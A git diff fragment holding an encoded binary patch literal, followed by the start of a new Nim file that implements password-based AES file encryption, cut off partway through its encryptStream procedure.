zq2Vm`3~y}{tD0UBZ`DS}~~XIu+fYEOsQhD{9uT7QJ$)PCsuQNT-e2JZeFJm zIE|SpBx1Q0N2pt5VB|ZnYYuB}r0msmAyo;3)mK||Ontz5RJ)^m9Zk()pRrha(>jG5 z+B2IXWie;k9;(Z^qa{FFS~AqjaEW9_9>kr&crrHspa;6mmL z=YL$h>@-Jbd{B<3InE1U2{G8KP2mtnZ5Sl1->njHf1iy$qZ?x>> zwyFkmzD7q0D^)gcVg39~1+iy?V}n}^2g6?-^{=>Yt2C1neIZhq-YK*!U35YeNz1gxcK~Ev6upeY z3Ejfr?AIIDu4@6P1!z7ju3LjYy1V-j!_m_Fm$L+Wp5s+S)sAoA7IGn(LIg|4&u%Zm z5*ydzs}VDW6Tbtpz>rJo^JrFpJ&9As81;yAL?o?$*4ytEUMHjy`S`wg)b3MqSqXT1 zqiBSa!e`z7uubW8K&VzVtO)tKDWW?=vk5YUu<73oeS~j9VFJ>+H@FN8(+|C_xW#|_ zfYfB}$VRj!RHghWH?Bvd_s7$GtB0g|4MuA?Rohs&gpJH0)%WhKsjvC&Q=as1D zk9x|=fCp;O$Msbl9i1J18iOG8&)n4JTp1CstY$= zN+%db2p$_Kb{gXAL0h|Q$3hX}UG0+I+h>=BCbz3OZ;cqV@p=1jHpz~hQg>v8sPV3>dWXu_{-!{g)fsYCE8>cGoL*<;_`{_% zjyGzYvmrJIlSv{{#FczGq9nDG-(>6DdZ5Rh;lCKND9mk7sEFBkb)5`0mAzLXLN9bs13Nwd)@ z8ztF0?sYQHeLFvWa^Osqa)F<%XKh|333!urqJ> zagFTOR(1ob+%|NI^~eY=jpsIZ5JF~hgySR(no25c;Sx((UjKy>cGD$ddIjGJss)J0 z?V!{i38eeOWdIFlMVrL4PUg~C45Q^IFY$3bOjanO`!6+4-K&n2{kbzo3h2h9Z z9+C*eTl8L>0>{P{#jMaXWSE^xmPKx}t+sPzU&0nId0NGXrT#$rWryB&+q|2s`LTg7 z@!HPr;W5{sGaUQsdOqKoeG>WahA-2>VNEuDGF&xoQb#~jz38yde!IQ#7rA=?kJ4B- zqSG00WQWoi)Bh`LO*BtmCPZ1)0TaqfnO-ZhqnTbn{F!Br!|kUTZ+fAvM$xT>X%AL0 zX@zngb$FA4Q{!xwV2A=F&Af_BR09h)hzBha|g(0`R%;Aq9fu25(# z%X7=;>iGV|G1Ar(+{u#%y{Q?0&%rJ)Ny!JL z$j)q3PoGpRY}V`7Th@_c);7wGb*Rg=D`O|{148@Am7fqnksJF@?yRv<5m$kFja4pybO{Oee1VdM04vXI6`!$Q)H4|CSU}hHO}dk&0YfN-=tr?ZbK#3KvF+;KC{?ax;j5K! z^lg%cJ53)RT% zrmG@BAT74&9i@_)aWX<>^q#{#3W6I5%8MVsbE_myL5Mkm*|hRLURhWGeI3VBjsQpi z41|4q+o@D~WH-c{Y`aREudyH;$^A_g7e6* z;D8Uu3fqb_dEP1;Mgkst8CZU0dFxE(;EL;nJLCZSTr0kp6DY|~aXeF(8}LsTNN2H} za(zBGfZydzN&{a%E+kzJW}KY)Uu}H_S6gk=Wr96v_TH1r$et%(=MN^QMfh@*zBqX( za`WN&UR0~i3$4*yjLa?$&SpT6vW2YUg4o{0f)140$=mgQ{N1_a&^HEkKXAkCH69+M zg!OjEX@ag0%0=glY{V5bG!%X9DJuIdqSK3u;PzKtx1aURme{#gVbLB%#Q>NL z2VRNVp`G3p6Mj1c4bb<-F~SXWi`lk21vb4h-fik`<%gLWZvXvVB>5C z8Pg)e9tw>-{+c$Ab`4UUc8&g5)(qniMVw;|;B%XbUn6lKfz>wTf}X?PenrW3{zwqz zC%Ns%f`iU#RhH>8lvxn`u~_jhC>PD^B&X=ztLhr~n4in|BCsQH+7J>CtVR*Z5rW_U z&WzQ*pJwS_KrFJ;GrQlbETVY2zG@lzdgpss**r4zr_g%icU0ZSYc{{5+QA~Hxhn9o z#~>>V5`sgThb6toh-n7$svzEBk!v%Ln_iFdMxF5C)-c6_QN^^_G{c03~jw3Bt?PR@BKX{QIdeo0;`E|us|C_1(Mz_2=_pUk_ z-?hR2=kQi-*eT_BQgUC#ZjwLIhL6R9geV#K!)Rg^z<=;?fnN+x1`fwry4eX=(i{js zy>ULrz3d3OD%$RtTgYm{_GO>%>pr$s*dSUC4D!c1phTsw0l$xVa&tww5I6Yd7)4Qh za(B5q+BZouOczP{oe^$`5M5;oI9Yc;-6Xr3wy~baWq6>FiNZ%GX9~9_;NMbo?QKn? z;jf1Rt{0U?FPFQyC=p)F)#7n~TKup22yZE+XwdU7A=U$fJZ@&_=z;`mdK|`FFaAd# z3~$d(Qi5GR@x)A>bT|M4R=k7P*kHvQ|Ne>nlY9lDF`!J!`lB^}_@!_~e?hKCj&>B^ z9h!>>_QhS}MM9Qk1TPgOTc7qmDB^svRH|9X%6#`K^?hqc)EPFKH^80nQ(#$~PX_i1 zlB=Wmc$S)-ZB@?+(ErspW1y$8>kYCGQ~nYnz+?iS2Z_1g7-Opf>2-r2b+!OE>q%)+ z6#~D`jfv>AuQu!ah7I2tYuGjf{@!R;mZU3wS!l0?KZ& z?G^}OMZ4!=nt@jQ1h*2nfNJR-)9BiIlz}B-?X@oiT^WT6H#oKFUKhsVgXCe7Z0q*loT1;=e$=V)Dj@~9*V+eyL?>XI>E$9>C!RHP53L_o? zlpMWrrgWF&@`Ov)>mo`7-I}}#<7rT?)&WE8e#c`*V~|G5KoHb5cT_X!(oEmQr+T^L z9jMu2&gk<50e=*Pqu?@e3?d0ON4aY=FbPdDyt}_XoMB4o(EyeFG9rbJs|HFa9~_mC z_^>2$nYJlT=63RLx`8yZ>D`v`a@LRlU_S1(qG%|Js;%!BX&k<6Dy~)+-9W95x}Mnm zW9rT9EeNaQr0{p?P)pg2&*K-{ss^F6;7VK4i(KvoZHWS7V9%h@R?B5k8DaOET z3gRZ3A?+vk)WyzDJKhzS9hcq8r=as$-YXrc6`$@~6AZG}#`oLwyQ3my12jlrL%CMl z^+}0`4%>rYpK-K7J9Y>xhDEyOx0u%f!%CZ%_IJv`e+Im6MbYFp3P}{9)IYnC{40om zH?h55)?{-7q$lUB0?yEu3nh93v(Ll8l%Y9L+zoQ+&aPUsov~nJ>X$hyEz>q?vmJMn zUmH-~`ZY9|&)1!iMxiHlT*+-uxZ3|LWLX$jc*=C8$F>KS_wqB8Xi*9LR6+!X3kE1$5 z3{45jt#xkyfi!QT{17Gl8^c_)oB7@2<)jS~(Z4w14UGNy+CuUs_in^i8}zV3xGM2- z69wXm7&8i()!DUgmYjM_cIBh=a+C(An0n1bbyopFfII0mZsbw; zy^@C@;hdo>O}^WaWG(7=OqR1}S00D=&BP&3@BqitjK2BI;Ge>QJub=Hbz~}i3dz8h ziSS*z=*a>QB0Dn|Jv4jsBgfyl0=!(P1bgSQljFy|6bgq$w5#Enw{N0z(QFUCXd^RN zQy`4LZjeckT1#C&*?-6V+-|{ZF;Q|lVh52-!u!{4W^RrHp@?ZIAb1U>I&KDDt*!&j zJhqE@XEN$rLJ$Wwj7MD46>CU7NU{YOJ}(7QDZR)8iVl2r^6AO1yD5P3AFR`|WeSrh zgfPCd*68w#OjpM zRaVLwJ~YmmB_pzhMxvN=S=jX}^b{JAafLx@2I;YvNZ=1QJA0I)7iIl%s$yt3KDI}J zTxJ^KI#++BKaOsXNf1kU1QTablU&pz2+hNDqoma8=_Vz>SaK}E?~lx%IQ;k97%%P* zxrcWzCHo}_4HP*NWrV9Uf`TupMft8)dy7nN%T=~+Rk(c2tr0zED2D<9MNM@B1xN*w zD7L6m_%$3gUoz~^y46&u0YH}5Q6_})Z!uZ=`WcTha`?Za#1{x~_LKyUM_p1|tw3E= zE+|H?y)W(dZ{WoAj@0kQxB&ddaOKMkMhC1T6CHzg9Z7`{FIR*|1HsXU-Qhn9YBSHb z2#se2RwN=EPRo35s*SBerfnvRDxSWa`L6N@*N=w}d~e=|6$u@NtDo)OdHm~9^0#TL zkBl>uOcnI4-p`A?GmI&ZKvMF%h-J1ue?(0(F=vb>=9d2vZx)hnbn$}?wrCr))j6s$ z2oq|O2c42TCq#3%DXO<^l-)e*de5EypNhN|W(<;6dt?sAlKi*Y_7h_ZSzzL*z9d`h z+?thZk8`RvQs?`uIw5hu*hi6~@P2y2PS zlM~zq5%u+d+pmV*Um9bF49!%p{N{j#MI52ez765Op)fU$Q2Ga~Ee1Lk*WfaLXA{W5?IY z!u`JPUDk}GR;j5=bEsG9BG=&k{@u}Gebc4f?vay4Q*>g@b7vd`-=l{8BA7|sB1!oZ((=Zehx(}$HrAt z4-PP8v<&*)I%_-17ixO?^-cb{BA8h9$;wsG%2rRUmt-PR>Ix=XciQ!!{PK)!Edt1C z`gxRhNhvH_b>L=EKKH$3yds=sane47F4^v7A$j(@nD4B96nEi+Qh(yX zF4oWZNvN4oTn~R58Ld88L#Otw8AE`fTP@qX)SHed0k%8h^18Z>ZJD)^t`dV;_T;~w zThQlIT_$4|prV{=B7^E0o;5GPy+`5SR&TN|5&PCqXocZr@#A%LiH-abd(2qG*1=OS z2hL@UZixkH{Bxr=-EAO5crEhP&4rs!WShEx=e$SN z5b!<@!rh$3z7GU+2VG?Fet*I6t-g}E6C$y>W*I0|yh6GZeQ(FFnEr8@EuK{v%C7hV zaU+(%+zEgrJVC?@zw-^$P2-KRLT}7QQ9QF8nr~W(L$9u3$97tVqW|7-oEz0ldBuz^ zrT^qMty2vRoGKdrPuT1C6x(clu{E3-TW?> zIS3BT4&IvI)1|imlz^>r@+FJmkReP?lb@N1Pbxsx)m%h&B=Z1~Om;V;J(2XNFO`gb z>IY(b{lW|I=lbF?PD=&$mw-HoGQ!2jdVQ1!wg_S>pKielUmv_*06sj{ciz4B%z3N# z@MWOC*xf-x%IKKvNT70w#CG4WiNubL+$jusvDcKWKP>I)ttej=a>ww#dnsw~LcJ0< z$j`)Q|2o1TYi*xJ=B+Dt+2lFA0?}Oh3e8pex+$fQbh)u->?D=N{3#W{cXe^0{N~%j zPYtP{XB>bis!iYB2h%`)q#Dcvj-T3ZQ#Tz0B{5o!ZSSs$5<>T}NU-*!Wp5^G`30v1 zUYDBj(*@7-RN{sKe}6nPcG=cyJ^fpa*$*$x-c^pq#mC zv1*=k*oB(!<6N2&UET6ty?rWiV{xSWoe%Y~5CR=sI_;bsNx^fB8OcG<+EUF(4YTA^ota%D*x_WHKqcmL5{~TXmbyIt9fORd%Ov2!@ki*nUFq=+Qxm)=x1rE<{bZh0fgQH zVx>p(>X#C3p8l-lA|^1s(;cW8iV8$^Odr?Q&zYP55)l*E?iYM4QlVZ7W*{`R4o_uGSLnxrvO+CyK1W z8|2myb0ccz%jE|SB}YmHtBh=;LpSO7wyPa?ya<@z3(<-><55{{62GS?;K}3$?zQ}V z$ll<^`2y6j#z)2&%_lPNs={XC@^TpDm+wOcllD8VnUEdSsM@HK|C1*f*kJscdmAG+ zIm&ss_KlQSVcGffs?!Zy>!wEYNF901fE-K;J-=|X8rOTacH*}nKV}l3#R--KpOhqj@#1(8#K#V=*eU>xGjj26YjX`6q?Bfd7gX# zF26{Q$6z{lS>dCEv!u<1|5Qg8NL?*2cS?*+8;<7gtmxY2x3^^KdVuvh_Gv+#vx~h| zGk(sL#g&Ev=TWGo=>Z~`BmM$71|#L3p*`g71Cjn7nK|_`(g%{Myz2xE33QPeE6lR5 zlO5iBS+p)+{8`&FHB4@+M!7221iJ-3a{4`hHJXa#1O64PU2t%lWH*nU*)*V%e7|K}F8@j1;t>A3nLibQne%@j+%rRGR-_KvYmieE97|k7anfsL1N!{UDZ+E|C;$widCm`+G!obD2uaLnN|Y>5fhW|LbHcqTchS&u;P#T;Gd|?dBSTNj_6t9s-eBnUZI*pN znSggpdjZ~B%!Lpp_;3`VyBPkwJ8!IbY^9c}&a?Z4a!%?%dXV(vN%nNp@;%x<;O#$1 zo;Z7RRREPOr^Clk+dV?{gl)JK_hjd-=>2YgI$Yrh{{;Y8uGu}N3>?Lm92fw!L=n6J z@<01>VGDFuv7G1m?n|r)o}! z@I2{>uWdyDJkWroNTn9$daaTDxa?D9KA=z7AOjX-gBZ5=a^h1Xut*%&0!wndmDBEk zxyvPNV;t~duQoklMB-^5NNy)rP$%4%4 zbgF_*fqn|JO)ZMY1@ThSWqH2F&*xjwS~OpjC44BZn1JFiL7EFAa)5uxC>`pa8NhED zW1_uJ@sJx+4qM?*j5Lx&d;Iic z79omAUY<6{1yM(fLpL#PF{4?$^N*X-GNQDTf(PlvU~eljf7^^~-!1e9RnVjf;7r`* zv$K>PFvrRU^{)R1a~vXz>y(Voc1Y8D_d{t7Ct~ABK8Ca)$kTR-Qo~7c`tbT3&TykP zBYabL2;AA85kLeIBMS-eJXN++D!EaAshf^#c1*3Zma#p!6{9&bLz3&XVV6oOmkLnT z`y3-3vx2cV2jZ6Efg~<_&&ekBy#2a;W1@p4eCk@gz+q&B)V30t_s^A`gwB4_2krc1 z?-yjB(k^GSkZ#j2vc4@NEEBMdC_gzR{?W#hq%YJ6O`nsR?H-oBtkXl{l{Q8FSVK#PFh=Qc zoMF2=sz>E@{_XxB9?`fZX%C}a>3);^Z;^j=!W@B`=J z2>bNvbm?!h4QdjiSNUe_VbH1t5s?$3tlqT`dn>!s6$w7Oog6;;GUZgt{+vJwjycua zM532w)nLfxv3?8G5(Z&8Ca$6c#NZiD=uMIsLl{yggHQTy!;Z`fk6oVAg|K ztH>Aib}UbP`~Tp@)zs4o??6{z{y1Ly5o@>jnd<%@r~K*fc9dUe*-}> zn`Bv*$q?k|F_k(^PWgy4mFstK2~u&4r3wOX><&JAI}*`Ev)AaGeqoDmq@9}KOUV4o&y`o?lJk)fM{%g zz9M1Ux?s=^a$6sD#w9fi#k$a7?Vx?-)=9UBkwA@MUG*Cam2*qd5l!LGPgi(SkD8e7 zke#taY6<_L_1M~pm27&Ew|hKoUx&{~MYGj?b>C7- zOz#J{@~>d-so^ML3h9q_FuD!pT;?TC)o9oZwkKd*?Nn2FWD`}mrb<2UQ~yMXs>Ymc zD3gl!5V3vusnveE@dWSv2A4=Cjal+&<9Sa{YJHomaKhF7wA4A}0&^96gfE)rM}v(2 zqga{(eVYD44pRtIjG1#eWdm^29=TRT-g5d`@@cEzcoX92fq6DQ4Pqp@OXc&)!qa-X zSw}m!zxPaja_Zd5C36fBbOf%f#cRYS(#hJPJtK^m4wn%+g^c@Nbef6~zQ40@|6(Up zPgMDv9*5>d2AiRYQ8vf?v0aEwv9Tet& z4uqIqfw~=jMOXtJ!x4GCMjR-PjmE|=$k|P$NvxP*LF*-wlwx3 zok#=#C)LN2QpWv9r#-#=Oy;{Tc^Lx~{##1Hu+EAFq&6IFC+G?Kp<3-SU%=)Lgfn1g zK%;Xz)zBM`HF6um4BOo>;;0YmfdVhinQ2&i;;F=Dc@`u3@9&^$^Y}}$_ zuZaF7B<_siL1(>{!RUi^vU9#PUf`DgvxLucB?K-1Az(-F_Sre-a(9_oI;(q5XTbXA zXhGCx!lQA2+BAy>8ZeU9UyX z@WdAl>IPg{EGxUrM4^j}HtGB!L;Nk6R*2hQne8Xn-w{2cn4y)z$=`PZBbzV52qRWc zYG?fdd^|JcVyCQOD^TO_?mOV>-m@<>PWOG8Y3Lz$uK>>Bl3}pdQzP$9z+gk~X}QYJ zrFAurl7`s-?sf{)CW#Yoa6|mE`(7(={-~zICtp=HB(9YNbR3!3nEP#%AL3WzPWe^D zL(vC&#F~>7MtngoA)j5LzrL+kYEe2EajINYs&qH$frau$TlmOsN;7Crn17sKqIjgX zWvqaSgLaHh*?i%rbNZ{n4=(#l&DGdcqB_;FR?ZAPwSdH;$yS0x-&pzVSY?l^_uLU4 zDx4^e4HY;R+n3_RWZQ^Y%UdkqgcBpvLOD5dM4^S1iF-0c{kd+3vu0a@q$x(_=$k%+ zPrSJP$N_jOFa9Yn@Zt~U@UM^gRZZloK0H?oYjD8I!1&dSpN1yux{T}+8pH2GUMP+2 zq4XKeE05stfYc$~IWzhP>X5*I$HjIhZ+v?`eEWLnL@(u*mJ5^S$$LSn&=v64t())= zHra<`)Xg_zLdaJHEF{buUIRu%%J$zBj~6?c>pVB9sxId(ES8pGczX`8)r4(V=)l*( z1}=`j7ZT6#W{%qWbeFZmZkeorz;ditdH%rlqr!Km>E(c*Eogiun|Z#S{XYJYdLN;5wHEY?E~(K4!G;f9&f ztrH*W)U?Cy`8}Ki3bw>7g*;}P;e7F{=E&_|BBv_AS?StEWiS7~hm%7v&it&g<#Lww zAQQmW_mrN?;r=@k3*w-(Dpc^@o3!E3lDz%rjF$f{gLgOK#0$7!QgWh^7gz|u@|nZpF@CCko6%%{cI+;#SSL(fvj%fvQVz<@AGOveNj=- z`vL!L@1)HJj`&FrClqq0Qv`F5&?zpN*E&}IUiZVTYeN!Tvm++8MWZ_V8R45ucPYSu zouEYsqbH>(FEwFk4t%T`b75QCGhO0amJOD;XRhnu<-(JSfd@Y(5*0WmeUU9Au19QA zon2iWchmNDi z8+3?u&jhj!KZhK>pC?J77jyk}Lrn|~4AZe`tCG>@xVgl}4Cid2n>FrZPn(UBq{OW4 zN!o(ltLe_9hXK$Ebsl5~#Z%0?2@%bnalS}#(Rr$-E7yW2m0h^tH;79WL&=V5cf~u` zAO68tTl2Gy~1?+1Iwy{9;^ zIUiX7|NYKvqnms#>E@C}NkvN%E2bi8RQJl&Nn_}{-z9?-RG9WxN#M~Az*ObpOQ37| z^YI5$l)ZUs0aTdeekA5+tO+TE-B(}+#02v40Ra+!{Ewr5cPrLc@Sq#HRl4yHyuLR) zRj6Ukda(Q^>AO6BT#z+;z=+5pd@YaOw9PZo)O$hh)#bmI0TCww^mhO!iP1`#?4XIS z-SfV8cEf+o_6C$VlNWNME5OMV{!7mh(oDZ{stvt_a=8&YnFznStjX}XRp@lqoGf52NuoDrhXXWxt@)W9yenyH=_>^FNCR3p=%|g%` zk45_4gW4FT!iJoXw6UbMp!09jE}yV^Ox4Ctxx2{&n#N4))t~Rz>FZuqhW%K4McNPR znz=gBmblVU=*x~wU9H9V_niZ~qy`4jVr7v53w6GV?rHZk;Mu zaNA$&mg4mUAd~(@VKqM1eM>4a6{NeQ$|z*a+f3{1BEeUGL8KVqou9FNMFd%y)7lMq zgifsao%HuduszDq+U}_71t2nnjv7gBk%sCV`edS~-|kJ%S;oW^`*hj@LaM6mssL(W zN?xyttm+6}6B}LZ{IA`eQ{tls;#?WK%6*sbT^b@Mk~)v?AX3*UypVrb;K{OPo{^@1 zw>eLl$0_l(b?@weF!rs`ZppV!>i}kp!C&;~DB`>;Ph5^W+M>*OJb2%YK=e73;yeEq zEj3D@)L}7hym21CGmZ99irWa|7BnW>|KVvtQR9|O5L;Yzgh2GYg{TMbkZHQs{)>kv z^)x!bB@ebTQ3Zx%!-Ec}=Y`!OE2aVW5i?#u>{PGqbLf(R47~Dxd>Zt5L6H;gt$JAzt zpHOPbtTF!3{Mf$HP4OgIOZN`3d>7n4*;;2|6R{lf@~bWw=aWrB0eUSr?}6dsP@@fA zJf&UZ)~|nGK505w&M<;-fO`1u)%16$Fk+A~z$EIiO(CzAq$ zK;6%a=5Ee_Un_MheCa!{HdX^$7>Bm+p{=O@Vt=qozMkZ0eW(w?ig|{);KDdJvyYL@ zCO7({BaUuDk$&v>TR#ON6WsxO6qN|Tq|sP7Zv>qlrxIg z8np*O(5k2VSb#q+F|hWa@#3~)aJ#?kF6&Y7DmHbfax<9eGA(sj0{&#mrb(92RyK|# z+Kz9M{psyq7V?;3=syk#5*Nz`)yzLqilC|{9y9s?_#v(S%7p@1%iKIiFyBf6f|K$2 zkCQol=DTRvij?9uC|HN8S{Ok(kU(fhujn>D_WR-Co zXx*B#AQY>g8+2oMH6}J3{BT@7dCrW4OdgzSvG(x_2Rbx4_zu`pSyv{{cg3WNVIQ(g ze`qKtf_0&!A+>6|Cqg^qz@#zQoY{CWR1!aYRfd|?5x-I};xpKiH)^LcJ7Nl#U`Vk^ zAy9-y#Lo+Uq|R}{M?_UTocZsX(Lrtb82S>U6T;;%msnc?R~;;zmJaHFSx}?M7djyZ zT&*X(WPIBJ#*aB*8g~RaH!q5)D_ve2^ISJF=#4*3KM!$R_Ai8#&=DYG!0aQQEH-Ui z@3%Qr>QBp{J2vSa*5EPN!_9(Ho6l+0Bs!9{=Vp+Z!^&E>ARu?5%NW@c6-?=Aj3nyD z(VHPP*0C0NskUGhFL9Orw?rfDG~@-{|ClW)Jhsrc1DAI>V`ULLhm6ZgHbq#nxvD{R zR$u3%W%%JP3wisdZ!WZ|GcX>f`XiT_n|V2^B&fQYHAO+{E>heaVO-p)?fU+N{DCmz zrC+r5@cAW0IpI7k!3C!<$`vRfBoKLmPpShzFTQr~%FtCn{d~DgG*}SG4a{kKWO$H6 zsP1m29Gz^!rB!{LYqht#lz*is^JeL(*UMWCAQALP&s*`6+Whw&`P#J z{6g=he4rp;2{4c2kCoBFvg<2#iR@PSj~412to1=-`=NFRE%t;2X2QWM8(38%y{kuccS< z^xa*~^V$5-XK7t~`SOiVb`V<(NHvNz>DiCur@W(}yV0k4g=KY>P!Vu}FC3hPF0zC{ zdYWBZ6603drR>d#4c!m!P<>kPbM>r@eSYvNX+)&gBG|2v_~wx}xD%}3D46r;0`M|u zbxX+=qD4uiTo{Hijq;JMh?apyCj_2>HCr?XKbOOexdS*FWmbuFS(d!Kf-GON&Oe{ev z3G2_)ABOc0I+J@yem5raf!yOmx7SRxx!T`s4=FJRnyYuMlMuuZIj5XvFGc;Q{z*lk zz4xj8<)&R(%I^B{l6qZ2=cK+4LdwC?=&bL}o669P*4?#L0N=DT8igeK!EH!lyq>mY zGjF!F%;H|oPTR`EBp;fYJXSPW1~k6b1Dg#m(6+B*sQq_v5Z)uPtHMa%N&t3-`+?kE z^O!~)IhUfs;6YT(SbdD6&H(tVpFg&@pN-e%SKCRxln;oF4-U0*D{@dxMTP2Y6?epp z$U0FrN~4M{Quc@Nzd`VnS%!8V}iQy2Uu) zxz3k_?Q&&0)~t1~!V=Z=h(zRZ(hc zwXV&Soa6SiRmo6BnmHHh>p73C|Nb5y8pKDm7BtpePEY(6B4*dq1@8O3$zbw{%nINK z9Fr`1#b{hJy(xVaEphoehfW_Pl+pTZ@4dpYZJ|f_I?`e~8fpoYATjhWmvE<%t`Z;) zC?m@GBRh$GGN63&Ga@YKVRn@VfEA51YQOtV=NPAYJX1hrIB@K{gOq6Ct$R+1+n2(a zDmHgC*l}YiTlOG^oni$6WoTzZgO2j(=yXFwQg!xgSm}PY2$>^_F3oTP;4rkE1_n8B z+FHPS(RkK-=ah`Fgjr5l?wC^|;BZMbJ`H-GTFuoT+S&og!H*J3BRA36YYoV}%x|E0 zmthZFWCD2V5Z?+hIDT(YyVrivy3+2>T0WMe4>gVRlJmz;_QdrX_kPg}$cNkXX@ z5qO!;H?dZnszLz$h=S*`9GAoqKLSbAAivO5j#%?ExL`0)TgPI{7urf+IGBDE4nYvP zv?+Oc-0W$bX*Q#2LuV3^4(2Q5+3u9%VfEb|N8OZJwRT9|sI(8Ovy$B+Am&liH-|O& zumwEkj97}^?1!Q?k&uBHGWzPyn@rKtbDvj3475uJcJ)r)hsYLQ52CnP(72$D1-zHvC)6SS@+MgD>^t;9(zBF-c3fvj|SPC`d*?|hG4#>t$hj} zQ<^Ferw!>kJiVCtD)2)N@L7yfZ_K$}Pjp^eh&~d<^O=g1MHwji!jymcTx+UnU{XYV zf-|#S^Pw^gA6ay`_-|Fx3bX1W+M0Z`%71(cqT2=D@4TIkGpE5nKx~U#5bm!*>{#u% z8;h`bwZ`HLJ-EO|qX$jo3F+%q8ZmC(P?tmPAGXF- zwS$apxlN)VU9Fx{z7N14tLV^ipy;GF**#g6BZ}YXe4Ys82k)iQPQZ4Ge#6mfwYgMs zD514O{sv~Z0Ua4~7taTv`wkCsNv?!1@^;FbI@e==gP{TO*oTHbL|_1CcR&g<0nSrK z_e?W0ZDdy2b}Rga6Q0^#esme@f^v1J@S^CiC%>iPBf$`zRy}ixn0O#uY}o$%d`P6N& zZPgVqM|Q3(A8@wAa9b@~KMqNQ`)+?uWk(ub1`3z-Cy)5!u1nqaGK@)U`d3EA`B-r| zO^m6!>=Q2(DkRlg4Bs7p{rYOm`Lu*gY|X9iD%F-1fkk!mIW?^h4dN&)8QrY&Rf8c= zbucvvCBkM+JS-*AS-^kWx-jItpQH>0em+QZ_`sx^o`2wua++@zF2c>&_^07hr>Av& z**|p~;n_yuo=451NR{5#+IKUN3d9vQ-dt!Mlvy9S?wgsP4)ojp&Kt062XcMlg-7R! zGlm!n@l~F$j<_)8zu4aD?9-ew2(8@Zb3B4mJ_)BlXH@H2%}yyM6Caox5WXedDw~v8 zdnVsdG`;OUtEUFg`|qOyJa3*TKHTH|X0wK$$blC%)RXAd#pq}J=j+^Z0-FCTOU+RT zeAbPylj^FTLpE%QmwrV5)!hU3(8v`?f0mt`qq$ii9x#x zYLQT$o?s3^C)+-bG)8CMUzmI20F)ek_$PA?O~j@w`)|K35jWzcu#)kiC!6P4*TFed z&n5O|E{DvB4N)n?I^p=l9ULLx;`t${?tgty4DE;4DHmi^?*6bHg^w+I#c=l$03QAU ze^x~mESs_Eo=MGd%q#fQ^Bgq#W!&uma`Ivs4z{-aG)9lhZTA{_2bwU%cdMxb(~lOH zbzS9$pZ;>EDwEy=w|WHlXBq*XOXNIc{+iz-~LB?BxWUuz9mkVShG~`Q~)o#;-A)jhb%er%=R4@0kn;V3^*7%<4L{ zHCd?7V`JIX%|{sluWYF?enf#OxCPijt~+b#E;#e53wlHt>qlAI2Pr7RWy>E*a$b2f zfqPJ+fS#M5ZAVV1HOn_KdChcqZ`0pf1qK;LAo&M{S@ZLyO_Wbr1#Eha!79huCK)du zMTYDGuJGscx}Fyx;KLF9;!wjIc|oN66lA8-kYm~qn7k|iA*dpj9Kse(e5TmK{Lf z^e_X^E~bFPaq3o;ydQkU5O7r#LnWpTH0^~IHU1>?9*xnby#Y1@;rtY?r>uRn^&9Os?NYr$O=^k*C&CP_=+HQ`UXS$MI75>}e zHRnd$c->~%i{tI;`<=~?A1{Wd>JLFty&%RfiOlt6?sVx^6^2yJU@*}6h`xMt;j`J6 za+_9@w^k?2s+L@29U86`9iA55q|aU=Ts=ZWvN_5*h+n9+Gve zbXUGLAmNkLsCmAKuGV?9(Wtrj>E3KT%-eu<^UK*kbRsb_ziuExiJ*@S#W}>y{9%8Q zViyzgPv$&_$?$Q87b-l^0r*-0E}B1E<>(wAFvL`Pw=2OjDaYEIT@MWDqE?$79z&fR zrRmP(@|Ya^(J1^LxR-XFPFwgDZTRUWP=58urcVcg74P(h2b-w0QD9l*IjfPynT8dvGkLVLzHXN>L%p_EF$FTC{vCths#G55RMPHUWArK)QTtgOK}Mi&{m3gJWSHoS4JbnlmS2Y5R+RonImJ#tZ3QA=+-pjYNXJb{ueDEHOArU66aR zk@b?YyXH$#<#sI^QuUp8y7nA#6{mFuBJZJ=j#!MnHf(#fR@0WhjJ_Nch%cJrsm<79 z9aQ-#%ZUg71FgQv4HlWt??1-35v~*xL!9CcaBq@O!8iX6Z3o`gr`E3$5a~N-q2Phg z5@m#8x}W8v0%fbvH;werdPI1K1Cl#G63URX-7M*P$od<5Uf=?t4Hc1;`5J~Nx<|{X zYxwg6)*i(u%;kO4n|#7-U$Z;ZfnV8-KFZBpCTFepO(A#N1ojR3BOer~iU-(Vm9==A zA&a22wJo6J3(-CNh*Elk;W4V;$MuGx)i!BMTu$&7Ah-+kOL;uio>VflA(I~;b{xbEQ~|kx#x@#tlOo@> zoyd)Yd$}jR(Q8Pt2bkOXSd)Z$lOxW3d^KQab~AA{7VJ4PS*#B)NMbpN!EZ#XY5CwN z$3`YYe2jj@08zF51h~oXnw_%fPyOtNO|{Y&a<&!(H$@!@$CETz_?H27B|&ijxDDGb z=^+&5R!kGvrU>y|701tzM&F;<OLo$z=ykSiW8P+?}_Dx zAHU}&TU&hBoYfN;MUI!Gb5fq8MUK2MCNx4@BY-(XP?WO?LCw+=_|!$!)jMwWPs~&Q e_jExS`hu6S_%`1)J+d2s_$kS$zps+92>V}P5Krd- literal 0 HcmV?d00001 diff --git a/elinethingz/security/encfile.nim b/elinethingz/security/encfile.nim new file mode 100644 index 0000000..bb02407 --- /dev/null +++ b/elinethingz/security/encfile.nim @@ -0,0 +1,395 @@ +import nimcrypto +import std/sysrand +import std/streams +import system +const + # default encryption/decryption buffer size - 64KB + bufferSizeDef = 64 * 1024 + # maximum password length (number of chars) + maxPassLen = 1024 + # AES block size in bytes + AESBlockSize = 16 + +# password stretching function +proc stretch(passw: string, iv1: array[16, byte]): array[32, byte] = + + var digest: array[32, byte] + copyMem(addr digest[0], unsafeAddr iv1[0], len(iv1)) + + var passwBytes: array[1024, byte] + copyMem(addr passwBytes[0], unsafeAddr passw[0], len(passw)) + + for i in 1 .. 8192: + var sha: sha256 + sha.init() + sha.update(digest) + sha.update(passwBytes[0..len(passw)-1]) + digest = sha.finish().data + + return digest + + +# encrypt binary stream function +# arguments: +# fIn: input binary stream +# fOut: output binary stream +# passw: encryption password +# bufferSize: encryption buffer size, must be a multiple of +# AES block size (16) +# using a larger buffer speeds up things when dealing +# with long streams +proc encryptStream*(fIn: Stream, fOut: Stream, passw: string, bufferSize: int) = + + # validate bufferSize + if bufferSize mod AESBlockSize != 0: + raise newException(OSError, "Buffer size must be a multiple of AES block size.") + + if len(passw) > maxPassLen: + raise newException(OSError, "Password is too long.") + + # generate external iv (used to encrypt the main iv and the + # encryption key) + # let iv1 = urandom(AESBlockSize) + let initIv1 = urandom(AESBlockSize) + var iv1: array[16, byte] + for i in [0..15]: + iv1[i]=initIv1[i] + + # stretch password and iv + let key = stretch(passw, iv1) + + # generate random main iv + var iv0 = urandom(AESBlockSize) + + # generate random internal key + var 